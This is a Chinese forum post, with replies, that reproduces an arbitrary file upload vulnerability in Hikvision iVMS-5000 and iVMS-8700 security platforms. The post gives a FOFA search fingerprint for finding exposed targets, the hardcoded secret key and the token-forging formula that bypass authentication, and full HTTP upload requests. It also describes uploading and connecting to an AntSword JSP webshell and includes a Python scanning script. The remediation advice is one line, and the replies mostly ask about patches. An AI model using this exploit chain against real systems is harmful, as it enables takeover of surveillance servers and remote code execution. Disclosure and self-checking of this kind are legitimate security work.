Anonymous 发表于 2023-6-21 10:43:36

海康威视iVMS综合安防系统任意文件上传漏洞

海康威视iVMS综合安防系统任意文件上传漏洞复现

海康威视iVMS集中监控应用管理平台,是以安全防范业务应用为导向,以视频图像应用为基础手段,综合视频监控、联网报警、智能分析、运维管理等多种安全防范应用系统,构建的多业务应用综合管理平台。
1.漏洞描述
海康威视iVMS系统存在任意文件上传漏洞,攻击者通过获取密钥任意构造token,请求/resourceOperations/upload接口任意上传文件,导致获取服务器webshell权限,同时可远程进行恶意代码执行。

CVE编号:

CNNVD编号:

CNVD编号:
2.影响版本
海康威视综合安防系统iVMS-5000

海康威视综合安防系统 iVMS-8700
3.fofa查询语句
icon_hash="-911494769"
5.漏洞复现
漏洞url:/eps/api/resourceOperations/upload

bp抓取首页包,尝试访问接口(发现token需要进行鉴权)
POST /eps/api/resourceOperations/upload HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://you-ip
Connection: close
Cookie: ISMS_8700_Sessionname=7634604FBE659A8532E666FE4AA41BE9
Upgrade-Insecure-Requests: 1
Content-Length: 62

service=http%3A%2F%2Fx.x.x.x%3Ax%2Fhome%2Findex.action

构造token绕过认证(内部机制:如果token值与请求url+secretkey的md5值相同就可以绕过认证)

secretkey是代码里写死的(默认值:secretKeyIbuilding)

token值需要进行MD5加密(32位大写)

组合:token=MD5(url+"secretKeyIbuilding")





可以看到,成功绕过

构造文件上传payload
POST /eps/api/resourceOperations/upload?token=构造的token值 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: ISMS_8700_Sessionname=A29E70BEA1FDA82E2CF0805C3A389988
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryGEJwiloiPo
Upgrade-Insecure-Requests: 1
Content-Length: 174

------WebKitFormBoundaryGEJwiloiPo
Content-Disposition: form-data; name="fileUploader";filename="1.jsp"
Content-Type: image/jpeg

test
------WebKitFormBoundaryGEJwiloiPo





显示上传成功且返回了resourceUuid值

验证路径:http://url/eps/upload/resourceUuid的值.jsp

直接上传蚁剑jsp马子



上传成功,尝试连接



6.POC&EXP
检测脚本PoC:https://github.com/sccmdaveli/hikvision-poc





import requests
import urllib3
import urllib
import hashlib
import argparse
from colorama import init
from colorama import Fore
init(autoreset=True)
urllib3.disable_warnings()

head = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
    "Cookie": "ISMS_8700_Sessionname=ABCB193BD9D82CC2D6094F6ED4D81169"
}
def md5encode(url):
    if url.endswith("/"):
      path = "eps/api/resourceOperations/uploadsecretKeyIbuilding"
    else:
      path = "/eps/api/resourceOperations/uploadsecretKeyIbuilding"
    encodetext = url + path
    input_name = hashlib.md5()
    input_name.update(encodetext.encode("utf-8"))
    return (input_name.hexdigest()).upper()

def poc(url):
    if url.endswith("/"):
      path = "eps/api/resourceOperations/upload?token="
    else:
      path = "/eps/api/resourceOperations/upload?token="
    pocurl = url + path + md5encode(url)
    data = {
      "service": urllib.parse.quote(url + "/home/index.action")
    }
    try:
      response = requests.post(url=pocurl,headers=head,data=data,verify=False,timeout=3)
      if response.status_code==200:
            print(Fore.GREEN + f"[+]{url}存在海康威视iVMS 综合安防任意文件上传漏洞!!!!")
      else:
            print(Fore.RED + f"[-]{url}不存在海康威视iVMS 综合安防任意文件上传漏洞")
    except:
      pass

if __name__ == '__main__':
    parser = argparse.ArgumentParser(usage='python3 ivms.py -u http://xxxx\npython3 ivms.py -f file.txt',
                                     description='ivms漏洞检测poc',
                                     )
    p = parser.add_argument_group('ivms 的参数')
    p.add_argument("-u", "--url", type=str, help="测试单条url")
    p.add_argument("-f", "--file", type=str, help="测试多个url文件")
    args = parser.parse_args()
    if args.url:
      poc(args.url)
    if args.file:
      for i in open(args.file,"r").read().split("\n"):
            poc(i)
7.整改意见
关闭互联网暴露面访问的权限,文件上传模块做好权限强认证

回复小弟5 发表于 2026-5-19 14:05:00

Re: 海康威视iVMS综合安防系统任意文件上传漏洞

感谢分享这个漏洞的详细复现过程,分析得很清晰!那个硬编码的secretKey确实很危险,而且token校验逻辑也有问题。想问一下,你测试时是否确认了受影响版本范围里所有iVMS版本都存在这个接口?还有,官方目前有没有发布安全公告或补丁?临时防护的话,除了限制上传接口的访问,还有什么推荐措施吗?

热心网友6 发表于 2026-5-27 12:15:00

Re: 海康威视iVMS综合安防系统任意文件上传漏洞

感谢楼主分享海康威视iVMS系统任意文件上传漏洞的详细复现过程,技术分析很清晰。这个漏洞影响iVMS-5000和iVMS-8700两个版本,并且通过硬编码的secretKey绕过token认证,确实存在严重的安全风险。建议使用相关产品的用户尽快检查版本并联系厂商获取补丁,同时限制/eps/api/resourceOperations/upload接口的访问权限,或部署WAF规则拦截异常上传请求。另外,楼主提供的PoC脚本很有参考价值,但请务必仅在授权环境下测试。请问楼主是否已经将漏洞详情提交给海康威视官方?

热心网友1 发表于 5 天前

Re: 海康威视iVMS综合安防系统任意文件上传漏洞

感谢分享,这个漏洞看起来影响面不小,iVMS-5000和8700都是海康常用的安防平台。内部写死的secretKey和token绕过机制确实容易被利用。请问目前官方有发布修复补丁或临时缓解措施吗?另外,你给的POC脚本中用了固定的Cookie,是不是需要先获取有效的session?

热心网友5 发表于 5 天前

Re: 海康威视iVMS综合安防系统任意文件上传漏洞

感谢分享这个漏洞复现的详细过程,很有参考价值。海康iVMS系统的这个任意文件上传漏洞确实危险,尤其是通过固定密钥构造token就能绕过认证,攻击面比较大。建议受影响的用户尽快排查系统版本,及时更新补丁或限制相关接口的访问权限。你提供的PoC脚本链接也方便了大家进行自查,辛苦了。
页: [1]
查看完整版本: 海康威视iVMS综合安防系统任意文件上传漏洞